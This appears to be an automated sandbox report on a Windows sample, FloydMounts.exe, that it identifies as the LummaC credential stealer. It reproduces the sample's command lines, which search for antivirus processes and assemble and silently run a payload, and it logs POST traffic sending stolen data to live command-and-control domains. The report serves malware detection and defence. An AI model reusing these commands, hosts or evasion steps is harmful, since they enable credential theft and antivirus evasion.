Edit tour

Windows Analysis Report
FloydMounts.exe

Overview

General Information

Sample name:	FloydMounts.exe
Analysis ID:	1581279
MD5:	a3e3a09c63c5270ac7e96a7b25034335
SHA1:	2df0d057d0a1674afce368e491113adff5c90570
SHA256:	b8e176aa49edb6f9bedb2e3f3e36fbfe046af1d7550f58938cd4b04c94b92f84
Tags:	exeuser-zhuzhu0009
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Drops PE files with a suspicious file extension

Found direct / indirect Syscall (likely to bypass EDR)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Keylogger Generic

Classification

Process Tree

System is w10x64

FloydMounts.exe (PID: 5752 cmdline: "C:\Users\user\Desktop\FloydMounts.exe" MD5: A3E3A09C63C5270AC7E96A7B25034335)

cmd.exe (PID: 3444 cmdline: "C:\Windows\System32\cmd.exe" /c move Blvd Blvd.cmd & Blvd.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6208 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 3688 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 3300 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 6984 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 2916 cmdline: cmd /c md 174436 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

extrac32.exe (PID: 5752 cmdline: extrac32 /Y /E Contribute MD5: 9472AAB6390E4F1431BAA912FCFF9707)

findstr.exe (PID: 6036 cmdline: findstr /V "nightlife" Consultants MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 6208 cmdline: cmd /c copy /b ..\Share + ..\Crimes + ..\Briefing + ..\Rj + ..\Pierre + ..\Loving U MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Produces.com (PID: 6636 cmdline: Produces.com U MD5: 62D09F076E6E0240548C2F837536A46A)

X4PCDQPDT1B8IDPB7SN83.exe (PID: 5696 cmdline: "C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe" MD5: 1DBAC9190F7C834BBB99CE9010475856)

X4PCDQPDT1B8IDPB7SN83.tmp (PID: 6472 cmdline: "C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp" /SL5="$5044E,10753133,845824,C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe" MD5: A62041070E18901131CBBE7825EC4EC7)

X4PCDQPDT1B8IDPB7SN83.exe (PID: 6804 cmdline: "C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe" /VERYSILENT MD5: 1DBAC9190F7C834BBB99CE9010475856)

X4PCDQPDT1B8IDPB7SN83.tmp (PID: 6876 cmdline: "C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp" /SL5="$6044E,10753133,845824,C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe" /VERYSILENT MD5: A62041070E18901131CBBE7825EC4EC7)

timeout.exe (PID: 4916 cmdline: "timeout" 9 MD5: 100065E21CFBBDE57CBA2838921F84D6)

conhost.exe (PID: 2020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3568 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH | find /I "wrsa.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 4936 cmdline: tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 3176 cmdline: find /I "wrsa.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 2356 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH | find /I "opssvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 2996 cmdline: tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 3120 cmdline: find /I "opssvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 4080 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH | find /I "avastui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 396 cmdline: tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 2692 cmdline: find /I "avastui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 2648 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH | find /I "avgui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4556 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 1664 cmdline: tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 4048 cmdline: find /I "avgui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 2664 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH | find /I "nswscsvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 888 cmdline: tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 3696 cmdline: find /I "nswscsvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 4416 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH | find /I "sophoshealth.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 1004 cmdline: tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 3484 cmdline: find /I "sophoshealth.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

ulu_mon.exe (PID: 5628 cmdline: "C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe" MD5: 6148379F983034E295E4A943A5F1198F)

choice.exe (PID: 7072 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Process Memory Space: ulu_mon.exe PID: 5628	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
47.0.ulu_mon.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Sigma Signatures

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c move Blvd Blvd.cmd & Blvd.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3444, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 6984, ProcessName: findstr.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T10:11:42.275845+0100	2028371	3	Unknown Traffic	192.168.2.4	49739	104.21.25.41	443	TCP
2024-12-27T10:11:44.276873+0100	2028371	3	Unknown Traffic	192.168.2.4	49740	104.21.25.41	443	TCP
2024-12-27T10:11:46.617451+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	104.21.25.41	443	TCP
2024-12-27T10:11:48.917491+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	104.21.25.41	443	TCP
2024-12-27T10:11:54.288916+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	104.21.25.41	443	TCP
2024-12-27T10:11:56.635597+0100	2028371	3	Unknown Traffic	192.168.2.4	49745	104.21.25.41	443	TCP
2024-12-27T10:11:58.997923+0100	2028371	3	Unknown Traffic	192.168.2.4	49747	104.21.25.41	443	TCP
2024-12-27T10:12:02.812757+0100	2028371	3	Unknown Traffic	192.168.2.4	49758	104.21.25.41	443	TCP
2024-12-27T10:12:05.154549+0100	2028371	3	Unknown Traffic	192.168.2.4	49763	104.21.74.235	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T10:11:43.009436+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49739	104.21.25.41	443	TCP
2024-12-27T10:11:45.075017+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49740	104.21.25.41	443	TCP
2024-12-27T10:12:03.582821+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49758	104.21.25.41	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T10:11:43.009436+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49739	104.21.25.41	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T10:11:45.075017+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49740	104.21.25.41	443	TCP

ET MALWARE Possible Windows executable sent when remote host claims to send a Text File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T10:12:06.438791+0100	2008438	1	A Network Trojan was detected	104.21.74.235	443	192.168.2.4	49763	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T10:11:52.958511+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49742	104.21.25.41	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T10:11:59.072441+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49747	104.21.25.41	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: FloydMounts.exe	Virustotal: Detection: 25%			Perma Link
Source: FloydMounts.exe	ReversingLabs: Detection: 18%

Source: FloydMounts.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.25.41:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.41:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.41:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.41:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.41:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.41:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.41:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.41:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.74.235:443 -> 192.168.2.4:49763 version: TLS 1.2

Source: FloydMounts.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: wntdll.pdbUGP source: ulu_mon.exe, 0000002F.00000002.3157412427.0000000004283000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000002.3159720691.00000000045E0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: ulu_mon.exe, 0000002F.00000002.3157412427.0000000004283000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000002.3159720691.00000000045E0000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\FloydMounts.exe	Code function: 0_2_00406301 FindFirstFileW,FindClose,		0_2_00406301
Source: C:\Users\user\Desktop\FloydMounts.exe	Code function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,		0_2_00406CC7

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\174436\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\174436	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49739 -> 104.21.25.41:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49739 -> 104.21.25.41:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49742 -> 104.21.25.41:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49740 -> 104.21.25.41:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49740 -> 104.21.25.41:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49758 -> 104.21.25.41:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49747 -> 104.21.25.41:443

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 104.21.25.41:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49747 -> 104.21.25.41:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 104.21.25.41:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49745 -> 104.21.25.41:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49740 -> 104.21.25.41:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49758 -> 104.21.25.41:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49739 -> 104.21.25.41:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49763 -> 104.21.74.235:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 104.21.25.41:443
Source: Network traffic	Suricata IDS: 2008438 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send a Text File : 104.21.74.235:443 -> 192.168.2.4:49763

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: wetlivelky.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: wetlivelky.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3GRJ7LHDSCUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18115Host: wetlivelky.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=VQCPK4875User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8730Host: wetlivelky.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=CKT12CXR99MRREUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20413Host: wetlivelky.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=KOZIYHDO9U8A1TEZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1234Host: wetlivelky.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=J5KIXPMO1MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 591733Host: wetlivelky.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: wetlivelky.click
Source: global traffic	HTTP traffic detected: GET /int_clp_prof.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipjarifaa.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /int_clp_prof.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipjarifaa.shop

Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr

String found in binary or memory: http://www.facebook.com/mobile/ equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: cCOKcDhDNH.cCOKcDhDNH
Source: global traffic	DNS traffic detected: DNS query: wetlivelky.click
Source: global traffic	DNS traffic detected: DNS query: klipjarifaa.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: wetlivelky.click

Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://antivirus.zipgenius.it
Source: ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	String found in binary or memory: http://antivirus.zipgenius.itopenU
Source: is-PGV92.tmp.20.dr	String found in binary or memory: http://api.qrtag.net/qrcode/240/
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: ulu_mon.exe, 0000002F.00000002.3174780608.000000004A601000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: ulu_mon.exe, 0000002F.00000002.3174780608.000000004A601000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: ulu_mon.exe, 0000002F.00000002.3174780608.000000004A601000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: ulu_mon.exe, 0000002F.00000002.3174780608.000000004A601000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.certum.pl/cscasha2.crl0q
Source: X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2563365682.0000000003830000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: FloydMounts.exe	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: FloydMounts.exe	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2563365682.0000000003830000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp, FloydMounts.exe	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.usertr
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: ulu_mon.exe, 0000002F.00000002.3174780608.000000004A601000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: ulu_mon.exe, 0000002F.00000002.3174780608.000000004A601000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
